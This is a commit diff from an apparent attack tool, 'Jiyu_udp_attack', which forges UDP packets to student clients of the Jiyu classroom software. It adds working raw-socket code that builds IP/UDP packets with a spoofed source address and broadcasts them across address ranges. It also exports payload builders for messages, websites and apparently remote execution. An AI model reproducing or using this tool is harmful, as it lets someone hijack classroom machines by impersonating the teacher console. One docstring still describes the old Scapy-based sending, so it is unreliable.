feat: Implement raw UDP packet creation and sending functionality

Author: weilycoder

Jiyu_udp_attack/__init__.py

@@ -2,8 +2,12 @@
 This module is used to forge Jiyu's UDP packets and send them to the student client.
 """
 
-from Jiyu_udp_attack.sender import send_packet, broadcast_packet
-from Jiyu_udp_attack.packet import pkg_message, pkg_website, pkg_execute
+try:
+    from Jiyu_udp_attack.sender import send_packet, broadcast_packet
+    from Jiyu_udp_attack.packet import pkg_message, pkg_website, pkg_execute
+except ImportError:
+    from sender import send_packet, broadcast_packet
+    from packet import pkg_message, pkg_website, pkg_execute
 
 
 __all__ = ["send_packet", "broadcast_packet", "pkg_message", "pkg_website", "pkg_execute"]

Jiyu_udp_attack/sender.py

@@ -2,20 +2,124 @@
 This module is used to send or broadcast UDP packets with spoofed IP addresses.
 """
 
-import scapy.all as scapy
+import struct
+import random
+import socket
 
-from Jiyu_udp_attack.ip_analyze import ip_analyze
+try:
+    from Jiyu_udp_attack.ip_analyze import ip_analyze
+except ImportError:
+    from ip_analyze import ip_analyze
 
 
-def send_packet(src_ip: str, dst_ip: str, dst_port: int, data: bytes) -> None:
+def calculate_checksum(data: bytes) -> int:
+    """
+    Calculates the checksum for the given data.
+
+    Args:
+        data (bytes): The data for which to calculate the checksum.
+
+    Returns:
+        int: The calculated checksum.
+    """
+    data = data + b"\x00" * (len(data) % 2)  # Ensure even length
+
+    total = 0
+    for word in struct.unpack("!" + "H" * (len(data) // 2), data):
+        total += word
+        if total > 0xFFFF:
+            total = (total & 0xFFFF) + (total >> 16)
+
+    return ~total & 0xFFFF
+
+
+# pylint: disable=too-many-locals
+def create_raw_udp_packet(src_ip: str, dst_ip: str, dst_port: int, payload: bytes) -> bytes:
+    """
+    Creates a raw UDP packet with a spoofed source IP address.
+
+    Args:
+        src_ip (str): The source IP address to spoof.
+        dst_ip (str): The destination IP address.
+        dst_port (int): The destination port number.
+        payload (bytes): The data payload to include in the packet.
+
+    Returns:
+        bytes: The constructed raw UDP packet.
+    """
+    # 1. Set IP header parameters
+    ip_ver = 4
+    ip_ihl = 5  # 5 * 4 = 20 bytes header
+    ip_tos = 0
+    ip_total_len = 20 + 8 + len(payload)  # IP header + UDP header + data
+    ip_id = random.randint(0, 65535)
+    ip_frag_off = 0
+    ip_ttl = 64
+    ip_proto = socket.IPPROTO_UDP
+    ip_check = 0  # Initial value is 0, will be calculated later
+
+    # 2. Build IP header (initial checksum is 0)
+    ip_header = struct.pack(
+        "!BBHHHBBH4s4s",
+        (ip_ver << 4) | ip_ihl,
+        ip_tos,
+        ip_total_len,
+        ip_id,
+        ip_frag_off,
+        ip_ttl,
+        ip_proto,
+        ip_check,
+        socket.inet_aton(src_ip),
+        socket.inet_aton(dst_ip),
+    )
+
+    # 3. Calculate IP header checksum
+    ip_check = calculate_checksum(ip_header)
+
+    # 4. Rebuild IP header with correct checksum
+    ip_header = struct.pack(
+        "!BBHHHBBH4s4s",
+        (ip_ver << 4) | ip_ihl,
+        ip_tos,
+        ip_total_len,
+        ip_id,
+        ip_frag_off,
+        ip_ttl,
+        ip_proto,
+        ip_check,
+        socket.inet_aton(src_ip),
+        socket.inet_aton(dst_ip),
+    )
+
+    # 5. Build UDP header (initial checksum is 0)
+    src_port = random.randint(1024, 65535)  # Random source port
+    udp_length = 8 + len(payload)
+    udp_header = struct.pack("!HHHH", src_port, dst_port, udp_length, 0)  # Initial checksum is 0
+
+    # 6. Create pseudo header for UDP checksum calculation
+    pseudo_header = struct.pack("!4s4sBBH", socket.inet_aton(src_ip), socket.inet_aton(dst_ip), 0, ip_proto, udp_length)
+
+    # 7. Calculate UDP checksum (including pseudo header)
+    udp_check = calculate_checksum(pseudo_header + udp_header + payload)
+
+    # 8. Rebuild UDP header with correct checksum
+    udp_header = struct.pack("!HHHH", src_port, dst_port, udp_length, udp_check)
+
+    # 9. Combine complete packet
+    return ip_header + udp_header + payload
+
+
+def send_packet(src_ip: str, dst_ip: str, dst_port: int, payload: bytes) -> None:
     """
     Sends a UDP packet with the specified source IP, destination IP, destination port, and data payload.
 
+    Ensure that the source IP address is valid and that you have permission to send packets with spoofed addresses.
+
     Args:
         src_ip (str): The source IP address.
         dst_ip (str): The destination IP address.
         dst_port (int): The destination port number.
-        data (bytes): The data payload to include in the packet.
+        payload (bytes): The data payload to include in the packet.
 
     Raises:
         scapy.error.Scapy_Exception: If there is an error sending the packet.
@@ -24,12 +128,13 @@ def send_packet(src_ip: str, dst_ip: str, dst_port: int, data: bytes) -> None:
         This function uses Scapy to construct and send the packet.
         Ensure that Scapy is installed and properly configured in your environment.
     """
-    # pylint: disable=no-member
-    packet = scapy.IP(src=src_ip, dst=dst_ip) / scapy.UDP(dport=dst_port) / scapy.Raw(load=data)  # type: ignore
-    scapy.send(packet, count=1, verbose=False)
+    client = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
+    client.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
+    packet = create_raw_udp_packet(src_ip, dst_ip, dst_port, payload)
+    client.sendto(packet, (dst_ip, dst_port))
 
 
-def broadcast_packet(src_ip: str, dst_ip: str, dst_port: int, data: bytes) -> None:
+def broadcast_packet(src_ip: str, dst_ip: str, dst_port: int, payload: bytes) -> None:
     """
     Sends a broadcast UDP packet to the specified destination IP address or range.
 
@@ -39,7 +144,7 @@ def broadcast_packet(src_ip: str, dst_ip: str, dst_port: int, data: bytes) -> No
         src_ip (str): The source IP address.
         dst_ip (str): The broadcast IP address (e.g., "192.168.1.255", "192.168.1.0/24", "192.168.1.10-100").
         dst_port (int): The destination port number.
-        data (bytes): The data payload to include in the packet.
+        payload (bytes): The data payload to include in the packet.
     """
     for ip in ip_analyze(dst_ip):
-        send_packet(src_ip, ip, dst_port, data)
+        send_packet(src_ip, ip, dst_port, payload)